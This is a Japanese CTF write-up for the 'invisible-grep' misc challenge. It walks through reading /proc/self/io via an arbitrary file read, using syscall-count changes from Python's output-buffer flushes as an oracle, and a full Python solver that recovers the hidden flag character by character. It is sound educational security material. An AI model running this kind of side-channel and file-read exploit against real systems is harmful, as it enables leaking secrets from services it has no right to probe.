基本情報リンクをコピーしました
- CTF名：AlpacaHack B-SIDE
- 開催日時：2026/02/09-12
- カテゴリ：Misc
- 問題URL：https://alpacahack.com/daily-bside/challenges/invisible-grep
問題文リンクをコピーしました
フラグを食べる grep 作ってみた【おいしい】
flag format:Alpaca{[a-z_]+}
...どゆこと？
作業ログリンクをコピーしました
問題の読解リンクをコピーしました
とにかくフラグを食べるgrepがいるらしい。
コードを展開してみよう。
demo@machine:~$ tree invisible-grep/
invisible-grep/
├── Dockerfile
├── compose.yaml
├── flag.txt
└── grep.py
1 directory, 4 files
シンプルなpythonとDockerのプロジェクト。
Alpaca{redacted}
これが本番環境では答えに差し替えられるんだね。
services:
sandbox:
build: .
restart: unless-stopped
ports:
- ${PORT:-1337}:1337
とてもシンプル。1337番が開けられてるね。
FROM python:3.14.2
WORKDIR /app
RUN apt-get update && apt-get install -yq socat wamerican
COPY flag.txt grep.py ./
USER nobody:nogroup
CMD ["socat", "-T60", "tcp-listen:1337,fork,reuseaddr", "exec:'python grep.py',stderr"]
なんか知らないものが多いなぁ。
socatとwamericanってなんだ？調べよう。
socatは"SOcket CAT"の略みたいなもので、2つの入出力(ソケット、標準入出力、ファイル、TCP/UDP等)をつなぐ中継ツールらしい。nc(netcat)の上位互換かな。
CMDで指定されている引数はこんな感じの意味になるのか。
-T60: タイムアウトを60秒に設定。tcp-listen:1337: そのままの意味で、tcpの1337番ポートで待ち受ける。fork: 接続が来るたびプロセスを分岐して複数クライアントをさばけるようにする。reuseaddr: TCPサーバを落としてすぐ同じポートで立ち上げ直すと、OSが「まだそのポート、前の接続の後始末中なんだけど💢」といってbindを拒否することがあり、それを防ぐ役割がある。exec: 'python grep.py': 接続が来たらpython grep.pyを起動して、その標準入出力をソケットに接続する。stderr: 標準エラー出力もソケット側に流す。
reuseaddrはたぶん頻繁にコンテナを起動/停止させるCTF環境での安定した動作保証用だろうな。
stderrをわざわざ指定してるってことは意図的にエラーを起こして出力を調査するのが想定されているんじゃないかしら。
あと、1337番は調べたらleet(elite)を数字で寄せた表現らしい。俺も31337 h4x0rになりたい。
wamericanは"Word AMERICAN"って感じで英単語のワードリストを提供するパッケージらしい。
一般的には/usr/share/dict/american-englishに英単語リストをインストールするとか。
手元で試してみるか。
demo@machine:~$ head -n 20 /usr/share/dict/american-english
A
a
AA
AAA
Aachen
Aachen's
Aaliyah
Aaliyah's
aardvark
aardvark's
aardvarks
Aaron
Aaron's
AA's
AB
abaci
aback
abacus
abacuses
abacus's
へぇ〜。スペルチェックとかで使うのかねぇ。
一番肝心なスクリプト見るかぁ。
EXAMPLE_FILE = "/usr/share/dict/words"
FLAG_EATER = open("/dev/null", "w")
DUMMY_EATER = open("/dev/null", "w")
while True:
file = input(f"File (Default: {EXAMPLE_FILE}, Flag: flag.txt): ")
pattern = input("Pattern: ")
content = open(file or EXAMPLE_FILE).read(0x10000)
for line in content.splitlines():
if pattern in line:
print(line, file=FLAG_EATER if "Alpaca" in line else None)
else:
print(line, file=DUMMY_EATER) # dummy write to avoid timing attacks :)
すげー短い。けど何やってるかよくわからない。
処理のメインの流れをちゃんと整理していこう。
↓これを繰り返す
- ファイル名
fileを入力で受付 - パターン
patternを入力で受付 - 入力されたパスに該当するファイルの内容を0x10000バイト(約64KiB)読み込む
- 読み込んだファイル内容の各行(変数名：
line)に対して以下を実行lineにpatternと'Alpaca'の文字列が含まれている場合FLAG_EATERに出力、'Alpaca'がない場合はNoneに出力する。- 上記以外は
DUMMY_EATERに出力する。
/dev/nullは何をやっても何も返さない特殊ファイルだから、要は出力を捨てるってことだよな。それも中間生成物もなく直接突っ込むからここに書き込まれた情報を取得するのは多分無理だな。
Noneに出力するってなんだ？手元のpythonで試してみよう。
demo@machine:~$ python3
Python 3.14.4 (main, Jun 18 2026, 14:25:02) [GCC 15.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print("Sample Text", file=None)
Sample Text
>>>
あっそのまま標準出力に出すんだね。おっけー。
'Alpaca'が含まれているとFLAG_EATERに突っ込むのは、flag.txtのFlagが書かれた行をパターン一致で表示するのを阻害しているわけだ。
つまりこの問題は、
任意のファイルの先頭64KiBの内容で、任意のpattern文字列が含まれかつ'Alpaca'という連続した文字列が含まれない行の出力だけが読めるので頑張ってflag.txtの内容をゲットしよう！
と言い換えられそう。
方針の決定リンクをコピーしました
もうさァッ 無理だよ フラグ文字列が捨てられちゃうんだからさァッ
…なんて弱音は言っていられないので違和感を元に手がかりを探していく。
まずはわざわざDockerでインストールしていたワードファイルだけど、使い道はあるだろうか。
コード内での役割としては、おそらくワードファイルの先頭から64KiBにいるであろうAlpaca関連の行が欠落することを確認してねってことだろうな。あとでブルートフォース攻撃とかやることになったら流用できるんだろうか？一旦保留。
FLAG_EATERとDUMMY_EATERでわざわざ分けた理由はあるんだろか？どっちも挙動は同じだし、/dev/nullだと書き込み競合でエラー誘発みたいなこともできないし…保留で。
ファイル名を自由に指定して任意のファイルを開けるのはどう考えても怪しい。
今までのCTFでも、これを使って変なファイル(proc/下のプロセスファイル等)を開いて悪さをする解法があったしこれっぽいよなぁ。ただ明確な悪用法を思いつかない。保留。
patternもよくCTFで悪用されがちだよなぁ。でも今回の実装だと正規表現使えないしなぁ…。保留。
処理時間の差を使ったサイドチャネル攻撃も無効化してるってコメントで言ってるし…
if "Alpaca" in lineを評価する分だけ処理に差はある。ただ、1回あたりの差はとても小さく、通信の揺らぎの方が圧倒的に大きい。何千回も試して統計を取ればワンチャンあるかもしれないけど、制限時間は1接続60秒。さすがに厳しそう。
ええい、こまったら/procだ！
/proc/self/ioを見てみるリンクをコピーしました
とりあえず実行中のプロセス自身に関する情報を漁ってみよう。
/proc/self/の下にはいろいろあるけど、ファイルの読み書きに関係ありそうな/proc/self/ioを指定してみる。
Patternを空文字にすれば全ての行にマッチする。しかもこのファイルにはAlpacaなんて入っていないので、そのまま標準出力に出てくるはず。
demo@machine:~$ nc x.x.x.x *****
File (Default: /usr/share/dict/words, Flag: flag.txt): /proc/self/io
Pattern:
rchar: 33802
wchar: 64
syscr: 30
syscw: 2
read_bytes: 0
write_bytes: 0
cancelled_write_bytes: 0
出た！
各項目はだいたいこんな意味らしい。
rchar:read系の処理で読み込んだ合計バイト数wchar:write系の処理で書き込んだ合計バイト数syscr:read系システムコールの回数syscw:write系システムコールの回数read_bytes/write_bytes: 実際にストレージへI/Oしたバイト数
/dev/nullやsocketへのI/Oはストレージアクセスではないので、今回見るべきなのは上4つっぽい。
ん？rcharって、flag.txtを読んだらその分増えるんじゃないか？
rcharからフラグの長さを漏らすリンクをコピーしました
次の順番で問い合わせてrcharの変化を見てみる。
/proc/self/ioを読むflag.txtを読む- もう一度
/proc/self/ioを読む
ただし、普通に1つずつ送ると、その間にsocketから読み取った入力文字列の長さまでrcharへ加算されてしまう。
そこで3回分の入力を最初にまとめて送る。Pythonの標準入力のバッファに後続の入力まで先読みさせて、最初のrcharを取得した後にはsocketを追加で読まなくて済む状態にする。
この確認だけを行うスクリプトを作ってみた。問い合わせは3回だけなので、ここでは普通にsocketへ接続して、必要な数のFileプロンプトが返るまで受信すればよい。
#!/usr/bin/env python3
import argparse
import re
import socket
FILE_PROMPT = b"File (Default: /usr/share/dict/words, Flag: flag.txt): "
IO_BLOCK = re.compile(
rb"rchar: (?P<rchar>\d+)\n"
rb"wchar: (?P<wchar>\d+)\n"
rb"syscr: (?P<syscr>\d+)\n"
rb"syscw: (?P<syscw>\d+)\n"
rb"read_bytes: (?P<read_bytes>\d+)\n"
rb"write_bytes: (?P<write_bytes>\d+)\n"
rb"cancelled_write_bytes: (?P<cancelled_write_bytes>\d+)\n"
)
def recv_until(sock: socket.socket, marker: bytes) -> bytes:
data = bytearray()
while marker not in data:
chunk = sock.recv(0x10000)
if not chunk:
raise ConnectionError("connection closed before the prompt arrived")
data.extend(chunk)
return bytes(data)
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("host")
parser.add_argument("port", type=int)
args = parser.parse_args()
queries = [
("/proc/self/io", ""),
("flag.txt", "Alpaca{"),
("/proc/self/io", ""),
]
payload = "".join(f"{file}\n{pattern}\n" for file, pattern in queries).encode()
with socket.create_connection((args.host, args.port), timeout=10) as sock:
recv_until(sock, FILE_PROMPT)
sock.sendall(payload)
response = bytearray()
while response.count(FILE_PROMPT) < len(queries):
chunk = sock.recv(0x10000)
if not chunk:
raise ConnectionError("connection closed before all queries finished")
response.extend(chunk)
samples = list(IO_BLOCK.finditer(response))
if len(samples) != 2:
raise RuntimeError(f"expected 2 I/O samples, got {len(samples)}")
before = int(samples[0].group("rchar"))
after = int(samples[1].group("rchar"))
first_io_size = len(samples[0].group(0))
flag_size = after - before - first_io_size
print(f"first rchar: {before}")
print(f"second rchar: {after}")
print(f"rchar delta: {after - before}")
print(f"first /proc/self/io: {first_io_size} bytes")
print(f"leaked flag.txt length: {flag_size} bytes")
if __name__ == "__main__":
main()本番サーバへ実行してみる。接続先は伏せている。
demo@machine:~$ python3 check_rchar.py x.x.x.x *****
first rchar: 33834
second rchar: 33948
rchar delta: 114
first /proc/self/io: 96 bytes
leaked flag.txt length: 18 bytes
2回のrcharの差は114バイト。ただし、その間には1回目の/proc/self/io自身を96バイト読んだ分も含まれている。
つまり114 - 96 = 18。本番のflag.txtは18バイトだ！任意ファイル読み取りとrcharを使えば、表示を食べられるファイルでも長さは分かるんだ！
……で？
フラグ形式が分かっている以上、18バイトだと分かったところでAlpaca{...}の全体サイズが分かるだけ。肝心の中身は1文字も増えていない。
一瞬喜んだけど全然足りねぇ。
でも、同じファイルにwcharとsyscwもあるんだよな。
食べたフラグの書き込みを観測するリンクをコピーしました
フラグ行は完全に消滅しているわけではなく、ここでFLAG_EATERへprintされている。
print(line, file=FLAG_EATER if "Alpaca" in line else None)出力先が/dev/nullなだけで、write自体はしている。ならwcharやsyscwが増えるんじゃないか？
とはいえ、どのカウンタにどう現れるのかまだ分からない。いろいろな条件で/proc/self/ioの全項目を採取するプログラムを書いてみる。
同じ接続の中で、次の3通りを順番に試す。
- 中身が空の
/dev/nullを読む flag.txtへ確実にマッチするAlpaca{を送るflag.txtへ絶対にマッチしない文字列を送る
各操作の後に/proc/self/ioを読み、取得した値と直前からの差分を加工せず全部表示させる。
#!/usr/bin/env python3
import argparse
import re
import socket
FILE_PROMPT = b"File (Default: /usr/share/dict/words, Flag: flag.txt): "
COUNTER_NAMES = (
"rchar",
"wchar",
"syscr",
"syscw",
"read_bytes",
"write_bytes",
"cancelled_write_bytes",
)
IO_BLOCK = re.compile(
rb"rchar: (?P<rchar>\d+)\n"
rb"wchar: (?P<wchar>\d+)\n"
rb"syscr: (?P<syscr>\d+)\n"
rb"syscw: (?P<syscw>\d+)\n"
rb"read_bytes: (?P<read_bytes>\d+)\n"
rb"write_bytes: (?P<write_bytes>\d+)\n"
rb"cancelled_write_bytes: (?P<cancelled_write_bytes>\d+)\n"
)
def recv_until(sock: socket.socket, marker: bytes) -> bytes:
data = bytearray()
while marker not in data:
chunk = sock.recv(0x10000)
if not chunk:
raise ConnectionError("connection closed before the prompt arrived")
data.extend(chunk)
return bytes(data)
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("host")
parser.add_argument("port", type=int)
args = parser.parse_args()
queries = [
("/proc/self/io", ""),
("/dev/null", ""),
("/proc/self/io", ""),
("flag.txt", "Alpaca{"),
("/proc/self/io", ""),
("flag.txt", "this_pattern_never_matches"),
("/proc/self/io", ""),
]
payload = "".join(f"{file}\n{pattern}\n" for file, pattern in queries).encode()
with socket.create_connection((args.host, args.port), timeout=10) as sock:
recv_until(sock, FILE_PROMPT)
sock.sendall(payload)
response = bytearray()
while response.count(FILE_PROMPT) < len(queries):
chunk = sock.recv(0x10000)
if not chunk:
raise ConnectionError("connection closed before all queries finished")
response.extend(chunk)
matches = list(IO_BLOCK.finditer(response))
if len(matches) != 4:
raise RuntimeError(f"expected 4 I/O samples, got {len(matches)}")
samples = [
{
**{name: int(match.group(name)) for name in COUNTER_NAMES},
"response_size": len(match.group(0)),
}
for match in matches
]
sample_names = (
"initial",
"after reading /dev/null",
"after matching flag.txt",
"after non-matching flag.txt",
)
for index, (name, sample) in enumerate(zip(sample_names, samples), 1):
print(f"[snapshot {index}] {name}")
for counter in COUNTER_NAMES:
print(f" {counter:21} {sample[counter]}")
print(f" {'response_size':21} {sample['response_size']}")
for index, name in enumerate(sample_names[1:], 1):
print(f"[delta] {name}")
for counter in COUNTER_NAMES:
delta = samples[index][counter] - samples[index - 1][counter]
print(f" {counter:21} {delta:+d}")
if __name__ == "__main__":
main()本番サーバで実行してみる。
demo@machine:~$ python3 inspect_io.py x.x.x.x *****
[snapshot 1] initial
rchar 33911
wchar 64
syscr 29
syscw 2
read_bytes 0
write_bytes 0
cancelled_write_bytes 0
response_size 96
[snapshot 2] after reading /dev/null
rchar 34007
wchar 288
syscr 32
syscw 6
read_bytes 0
write_bytes 0
cancelled_write_bytes 0
response_size 97
[snapshot 3] after matching flag.txt
rchar 34122
wchar 513
syscr 36
syscw 10
read_bytes 0
write_bytes 0
cancelled_write_bytes 0
response_size 98
[snapshot 4] after non-matching flag.txt
rchar 34238
wchar 739
syscr 40
syscw 14
read_bytes 0
write_bytes 0
cancelled_write_bytes 0
response_size 98
[delta] after reading /dev/null
rchar +96
wchar +224
syscr +3
syscw +4
read_bytes +0
write_bytes +0
cancelled_write_bytes +0
[delta] after matching flag.txt
rchar +115
wchar +225
syscr +4
syscw +4
read_bytes +0
write_bytes +0
cancelled_write_bytes +0
[delta] after non-matching flag.txt
rchar +116
wchar +226
syscr +4
syscw +4
read_bytes +0
write_bytes +0
cancelled_write_bytes +0
情報がいっぱい出たので順番に眺めてみよう。
まずrchar。/dev/nullの後は96バイト増えている。これは直前の/proc/self/ioの応答サイズ96バイトと一致する。フラグへマッチさせた後は115バイト増えていて、直前の応答97バイトを引くと115 - 97 = 18。さっき漏らしたフラグサイズと一致するので、確かにflag.txtは読まれている。
次にwchar。224、225、226と1バイトずつ増えているけど、直前の/proc/self/ioの応答サイズも96、97、98と1バイトずつ増えている。その差を引けば、どの操作でも128バイト。フラグへマッチしたときだけ増えた書き込みはない。
そしてsyscwは全部+4。空の/dev/nullを読んでも、フラグへマッチさせても、マッチさせなくてもwriteシステムコール数が同じだ。
rcharを見る限りフラグは確実に読まれているのに、その後のwcharとsyscwにはフラグ18バイト分のprintが現れていない。
なんで？
そういえばPythonのprintは毎回直接writeを呼ぶわけではないんだったな。ファイルへの出力は一旦ユーザ空間のバッファへ溜めて、ある程度の量になったらまとめてflushするんだった。
つまり今の状態はこうか。
print(flag, file=FLAG_EATER)
↓
Python内部のバッファに溜まる
↓ まだ一杯じゃない
/dev/nullへのwriteは発生しない
↓
wchar/syscwにも現れないじゃあバッファが一杯になるまでやってみよう。
既知パターンAlpaca{でフラグを食わせ、その直後に/proc/self/ioを読む処理を繰り返す検証プログラムを作った。
問い合わせを1つずつ送って返事を待つと、通信の往復時間だけで60秒の制限を超えてしまう。そこで全問い合わせをまとめて送りつつ、サーバから返る大量のプロンプトは別スレッドで並行して受信する。
先ほど本番のフラグが18バイトだと分かったので、コマンドライン引数でその値を渡すようにした。
#!/usr/bin/env python3
import argparse
import re
import socket
import threading
import time
FILE_PROMPT = b"File (Default: /usr/share/dict/words, Flag: flag.txt): "
IO_FILE = "/proc/self/io"
KNOWN_PATTERN = "Alpaca{"
IO_BLOCK = re.compile(
rb"rchar: (?P<rchar>\d+)\n"
rb"wchar: (?P<wchar>\d+)\n"
rb"syscr: (?P<syscr>\d+)\n"
rb"syscw: (?P<syscw>\d+)\n"
rb"read_bytes: (?P<read_bytes>\d+)\n"
rb"write_bytes: (?P<write_bytes>\d+)\n"
rb"cancelled_write_bytes: (?P<cancelled_write_bytes>\d+)\n"
)
class PromptReader:
def __init__(self, sock: socket.socket):
self.sock = sock
self.data = bytearray()
self.prompt_count = 0
self.closed = False
self._tail = b""
self._condition = threading.Condition()
threading.Thread(target=self._receive, daemon=True).start()
def _receive(self) -> None:
try:
while chunk := self.sock.recv(0x10000):
with self._condition:
combined = self._tail + chunk
self.prompt_count += combined.count(FILE_PROMPT)
self._tail = combined[-(len(FILE_PROMPT) - 1) :]
self.data.extend(chunk)
self._condition.notify_all()
finally:
with self._condition:
self.closed = True
self._condition.notify_all()
def wait_for_prompts(self, count: int, timeout: float) -> None:
deadline = time.monotonic() + timeout
with self._condition:
while self.prompt_count < count:
remaining = deadline - time.monotonic()
if remaining <= 0:
raise TimeoutError(
f"received {self.prompt_count}/{count} prompts"
)
if self.closed:
raise ConnectionError("connection closed before all queries finished")
self._condition.wait(remaining)
def run_queries(
host: str,
port: int,
queries: list[tuple[str, str]],
timeout: float,
) -> bytes:
sock = socket.create_connection((host, port), timeout=10)
sock.settimeout(None)
reader = PromptReader(sock)
try:
reader.wait_for_prompts(1, 10)
payload = "".join(f"{file}\n{pattern}\n" for file, pattern in queries)
sock.sendall(payload.encode())
reader.wait_for_prompts(len(queries) + 1, timeout)
return bytes(reader.data)
finally:
try:
sock.shutdown(socket.SHUT_RDWR)
except OSError:
pass
sock.close()
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("host")
parser.add_argument("port", type=int)
parser.add_argument("flag_size", type=int)
parser.add_argument("--timeout", type=float, default=58.0)
args = parser.parse_args()
rounds = max(1024, (0x40000 + args.flag_size - 1) // args.flag_size)
queries = [(IO_FILE, "")]
for _ in range(rounds):
queries.append(("flag.txt", KNOWN_PATTERN))
queries.append((IO_FILE, ""))
response = run_queries(args.host, args.port, queries, args.timeout)
samples = [
{name: int(match.group(name)) for name in ("wchar", "syscw")}
for match in IO_BLOCK.finditer(response)
]
if len(samples) != rounds + 1:
raise RuntimeError(f"expected {rounds + 1} samples, got {len(samples)}")
syscw_deltas = [
after["syscw"] - before["syscw"]
for before, after in zip(samples, samples[1:])
]
baseline = min(syscw_deltas)
flush_at = next(
index
for index, delta in enumerate(syscw_deltas, 1)
if delta > baseline
)
before = samples[flush_at - 1]
after = samples[flush_at]
print(f"probes: {rounds}")
print(f"baseline syscw delta: {baseline}")
print(f"first flush: write #{flush_at}")
print(f"flush syscw delta: {after['syscw'] - before['syscw']}")
print(f"flush wchar delta: {after['wchar'] - before['wchar']} bytes")
if __name__ == "__main__":
main()本番サーバへ実行する。接続先は伏せている。
demo@machine:~$ python3 check_flush.py x.x.x.x ***** 18
probes: 14564
baseline syscw delta: 4
first flush: write #7296
flush syscw delta: 5
flush wchar delta: 123357 bytes
通常の+4は、問い合わせに対するプロンプトや/proc/self/ioの結果を標準出力へflushした分。
7296回目だけwriteシステムコールが1回多い。ここで溜め込んだフラグがFLAG_EATERから/dev/nullへ一気にflushされたんだ！
もちろん7296回という値も、18バイトの本番フラグとPythonのバッファリング実装から決まった実測値である。フラグが長くなれば1回でバッファへ入る量が増えるので、flushまでの回数は当然少なくなる。最終的なSolverではここも既知パターンを繰り返して自動計測する。
同じ瞬間のwcharも123357バイト増えている。/dev/nullへ捨てられた内容は戻せないけど、「今捨てた」という事実は丸見えだったわけだ。
FLAG_EATERとDUMMY_EATERが別な理由リンクをコピーしました
ここでもう一度、最初に感じた違和感へ戻る。
FLAG_EATER = open("/dev/null", "w")
DUMMY_EATER = open("/dev/null", "w")どちらも同じ/dev/nullを開いているのに、わざわざ別々のファイルオブジェクトにしている。
ファイルオブジェクトが別ということは、Python内部の出力バッファも別になる。
- パターンが正解：フラグ行が
FLAG_EATERのバッファへ入る - パターンが不正解：フラグ行が
DUMMY_EATERのバッファへ入る
ここまで来たらいけそう。
本番の場合、まず新しい接続でAlpaca{を7295回送る。これでFLAG_EATERを「あとフラグ1行が入ったらflushする」状態まで埋められる。
その後、次の文字が候補cか調べるためにAlpaca{cを送る。
推測が正しい
→ FLAG_EATERへ入る
→ バッファが一杯になってflush
→ syscwがいつもより1多く増える
推測が間違い
→ DUMMY_EATERへ入る
→ FLAG_EATERは変化しない
→ syscwはいつも通りうおおおおお！！！1文字ずつ判定できる！！！
しかも処理時間を測っているわけではなく、Linuxが記録したシステムコール回数を直接読んでいる。通信の揺らぎを気にして統計を取る必要もない。
コメントにはこう書かれていた。
print(line, file=DUMMY_EATER) # dummy write to avoid timing attacks :)確かに不一致側でも同じフラグ行をprintするので、単純な処理時間の差は小さくなる。
でも出力先を分けた結果、独立したバッファのどちらにフラグが入ったかという、もっとはっきりしたサイドチャネルができていた。ニコニコしやがってよぉ〜。
Solverの作成リンクをコピーしました
方針が固まったのでsolve.pyへ落とし込む。
#!/usr/bin/env python3
import argparse
import re
import socket
import threading
import time
FILE_PROMPT = b"File (Default: /usr/share/dict/words, Flag: flag.txt): "
KNOWN_PATTERN = "Alpaca{"
IO_FILE = "/proc/self/io"
ALPHABET = "abcdefghijklmnopqrstuvwxyz_"
IO_BLOCK = re.compile(
rb"rchar: (?P<rchar>\d+)\n"
rb"wchar: (?P<wchar>\d+)\n"
rb"syscr: (?P<syscr>\d+)\n"
rb"syscw: (?P<syscw>\d+)\n"
rb"read_bytes: (?P<read_bytes>\d+)\n"
rb"write_bytes: (?P<write_bytes>\d+)\n"
rb"cancelled_write_bytes: (?P<cancelled_write_bytes>\d+)\n"
)
class PromptReader:
"""大量のパイプライン送信で詰まらないよう、応答を並行して受信する。"""
def __init__(self, sock: socket.socket):
self.sock = sock
self.data = bytearray()
self.prompt_count = 0
self.error = None
self.closed = False
self._tail = b""
self._condition = threading.Condition()
self._thread = threading.Thread(target=self._receive, daemon=True)
self._thread.start()
def _receive(self) -> None:
try:
while True:
chunk = self.sock.recv(0x10000)
if not chunk:
break
with self._condition:
combined = self._tail + chunk
self.prompt_count += combined.count(FILE_PROMPT)
self._tail = combined[-(len(FILE_PROMPT) - 1) :]
self.data.extend(chunk)
self._condition.notify_all()
except OSError as exc:
self.error = exc
finally:
with self._condition:
self.closed = True
self._condition.notify_all()
def wait_for_prompts(self, count: int, timeout: float) -> None:
deadline = time.monotonic() + timeout
with self._condition:
while self.prompt_count < count:
remaining = deadline - time.monotonic()
if remaining <= 0:
raise TimeoutError(
f"timed out after receiving {self.prompt_count}/{count} prompts"
)
if self.closed:
raise ConnectionError(
f"connection closed after receiving {self.prompt_count}/{count} prompts"
) from self.error
self._condition.wait(remaining)
def run_queries(
host: str,
port: int,
queries: list[tuple[str, str]],
timeout: float,
) -> bytes:
"""1接続分の問い合わせをまとめてパイプライン送信する。"""
sock = socket.create_connection((host, port), timeout=min(timeout, 10.0))
sock.settimeout(None)
reader = PromptReader(sock)
try:
reader.wait_for_prompts(1, min(timeout, 10.0))
payload = "".join(f"{file}\n{pattern}\n" for file, pattern in queries)
sock.sendall(payload.encode())
reader.wait_for_prompts(len(queries) + 1, timeout)
return bytes(reader.data)
finally:
try:
sock.shutdown(socket.SHUT_RDWR)
except OSError:
pass
sock.close()
def io_samples(response: bytes) -> list[tuple[dict[str, int], int]]:
samples = []
for match in IO_BLOCK.finditer(response):
counters = {
name: int(match.group(name))
for name in (
"rchar",
"wchar",
"syscr",
"syscw",
"read_bytes",
"write_bytes",
"cancelled_write_bytes",
)
}
samples.append((counters, len(match.group(0))))
return samples
def io_counters(response: bytes, name: str = "syscw") -> list[int]:
return [counters[name] for counters, _ in io_samples(response)]
def leak_flag_size(host: str, port: int, timeout: float) -> int:
"""rcharからflag.txtの読み込みバイト数を漏らす。"""
print("[*] leaking the flag length through rchar")
response = run_queries(
host,
port,
[(IO_FILE, ""), ("flag.txt", KNOWN_PATTERN), (IO_FILE, "")],
timeout,
)
samples = io_samples(response)
if len(samples) != 2:
raise RuntimeError(f"expected 2 /proc/self/io samples, got {len(samples)}")
before, first_io_size = samples[0]
after, _ = samples[1]
flag_size = after["rchar"] - before["rchar"] - first_io_size
if not 1 <= flag_size <= 0x10000:
raise RuntimeError(f"implausible leaked flag size: {flag_size}")
print(
f"[+] flag.txt: {flag_size} bytes "
f"(rchar delta {after['rchar'] - before['rchar']} - {first_io_size})"
)
return flag_size
def calibrate(host: str, port: int, rounds: int, timeout: float) -> tuple[int, int]:
"""FLAG_EATERが初めてflushするフラグ書き込み回数を調べる。"""
queries = [(IO_FILE, "")]
for _ in range(rounds):
queries.append(("flag.txt", KNOWN_PATTERN))
queries.append((IO_FILE, ""))
print(f"[*] calibrating the output buffer ({rounds} probes)")
counters = io_counters(run_queries(host, port, queries, timeout))
if len(counters) != rounds + 1:
raise RuntimeError(
f"expected {rounds + 1} /proc/self/io samples, got {len(counters)}"
)
deltas = [right - left for left, right in zip(counters, counters[1:])]
# flushはwrite回数を増やすだけなので、最小の差分がプロンプト出力のみの基準値になる。
# 最頻値ではなく最小値を使えば、長いフラグが頻繁にflushされる場合にも対応できる。
baseline = min(deltas)
for index, delta in enumerate(deltas, 1):
if delta > baseline:
print(f"[+] first FLAG_EATER flush: write #{index} (syscw +{delta})")
return index, baseline
raise RuntimeError(
"FLAG_EATER did not flush; increase --calibration-rounds"
)
def recover_flag(
host: str,
port: int,
flush_at: int,
baseline: int,
timeout: float,
max_length: int,
) -> str:
prefix = KNOWN_PATTERN
candidate_batch_size = flush_at - 1
if candidate_batch_size < 1:
raise RuntimeError(
"the flag line flushes immediately, so this buffering oracle cannot "
"distinguish FLAG_EATER from DUMMY_EATER"
)
for _ in range(max_length):
candidates = (("}" if prefix != KNOWN_PATTERN else "") + ALPHABET)
hit = None
# 不正解の候補はDUMMY_EATERへ溜まる。フラグが非常に長い場合、全候補を
# 1接続で試すとこちらもflushして誤検知するため、各バッチの書き込み回数を
# 最初のflushより少なくする。
for offset in range(0, len(candidates), candidate_batch_size):
batch = candidates[offset : offset + candidate_batch_size]
queries = [(IO_FILE, "")]
queries.extend(
("flag.txt", KNOWN_PATTERN) for _ in range(flush_at - 1)
)
queries.append((IO_FILE, ""))
for candidate in batch:
queries.append(("flag.txt", prefix + candidate))
queries.append((IO_FILE, ""))
counters = io_counters(run_queries(host, port, queries, timeout))
expected_samples = len(batch) + 2
if len(counters) != expected_samples:
raise RuntimeError(
f"expected {expected_samples} /proc/self/io samples, "
f"got {len(counters)}"
)
# 事前に詰める段階ではFLAG_EATERがflushしてはいけない。
prime_delta = counters[1] - counters[0]
expected_prime_delta = 2 * (flush_at - 1) + 2
if prime_delta != expected_prime_delta:
raise RuntimeError(
"buffer priming was not reproducible "
f"(syscw +{prime_delta}, expected +{expected_prime_delta})"
)
hits = [
candidate
for candidate, left, right in zip(
batch, counters[1:], counters[2:]
)
if right - left > baseline
]
if len(hits) > 1:
raise RuntimeError(f"oracle returned multiple candidates: {hits!r}")
if hits:
hit = hits[0]
break
if hit is None:
raise RuntimeError("oracle did not find a candidate")
prefix += hit
print(f"[+] {prefix}")
if hit == "}":
return prefix
raise RuntimeError(f"flag did not end within {max_length} recovered characters")
def main() -> None:
parser = argparse.ArgumentParser(
description="Solve invisible-grep via /proc/self/io and Python buffering"
)
parser.add_argument("host", nargs="?", default="127.0.0.1")
parser.add_argument("port", nargs="?", type=int, default=1337)
parser.add_argument("--timeout", type=float, default=58.0)
args = parser.parse_args()
flag_size = leak_flag_size(args.host, args.port, args.timeout)
# 指定されたCPythonでは、出力量が0x40000バイトへ達する前にflushする。
# フラグ長を決め打ちせず、漏らした1行の長さから十分な試行回数を求める。
calibration_rounds = max(1024, (0x40000 + flag_size - 1) // flag_size)
flush_at, baseline = calibrate(
args.host, args.port, calibration_rounds, args.timeout
)
flag = recover_flag(
args.host,
args.port,
flush_at,
baseline,
args.timeout,
flag_size,
)
print(f"[+] flag: {flag}")
if __name__ == "__main__":
main()run_queriesでsocket.create_connectionを呼び、接続後にFileプロンプトを待ってから全問い合わせを1つのpayloadとして送っている。
数千回の問い合わせを毎回待ちながら送ると、通信の往復時間だけで60秒を超えてしまう。そのため入力はまとめて先に送信する。一方で、サーバから返ってくる大量のプロンプトを読まないと送信バッファが詰まってサーバが停止するので、PromptReaderの別スレッドで送信と同時に受信するようにした。
leak_flag_sizeでフラグサイズ、calibrateで初回flushまでの回数を実測し、recover_flagで候補を総当たりする。誤った候補でDUMMY_EATERまでflushしないよう、候補数が多い場合はflush_at - 1個ずつに分割して接続を作り直す。
外部ライブラリなし、Pythonの標準ライブラリだけで完成。
実行リンクをコピーしました
本番サーバへ実行する。接続先は伏せている。
demo@machine:~$ python3 solve.py x.x.x.x *****
[*] leaking the flag length through rchar
[+] flag.txt: 18 bytes (rchar delta 114 - 96)
[*] calibrating the output buffer (14564 probes)
[+] first FLAG_EATER flush: write #7296 (syscw +5)
[+] Alpaca{X
[+] Alpaca{XX
[+] Alpaca{XXX
[+] Alpaca{XXXX
[+] Alpaca{XXXXX
[+] Alpaca{XXXXXX
[+] Alpaca{XXXXXXX
[+] Alpaca{XXXXXXXX
[+] Alpaca{XXXXXXXXX
[+] Alpaca{XXXXXXXXX}
[+] flag: Alpaca{XXXXXXXXX}
フラグを全部復元できた！
まとめリンクをコピーしました
最初は/proc/self/ioのrcharからフラグの長さだけを漏らせた。でも長さだけではどうしようもなくて、同じファイルの書き込み側カウンタを眺めていたら本丸の解法へたどり着いた。
ポイントは以下の3つ。
rcharから読み込んだファイルサイズが分かる- Pythonの出力はバッファリングされ、flushした瞬間だけ
syscwが増える FLAG_EATERとDUMMY_EATERが別オブジェクトなので、どちらのバッファへ入ったかで状態に差ができる
/dev/nullへ消えたフラグそのものを取り戻すのではなく、「いつ消えたか」を観測して1文字ずつ復元する問題だった。
EATERに食われた情報は帰ってこないが、EATERの「ゲップ」を観測することで情報を得る面白い問題だった。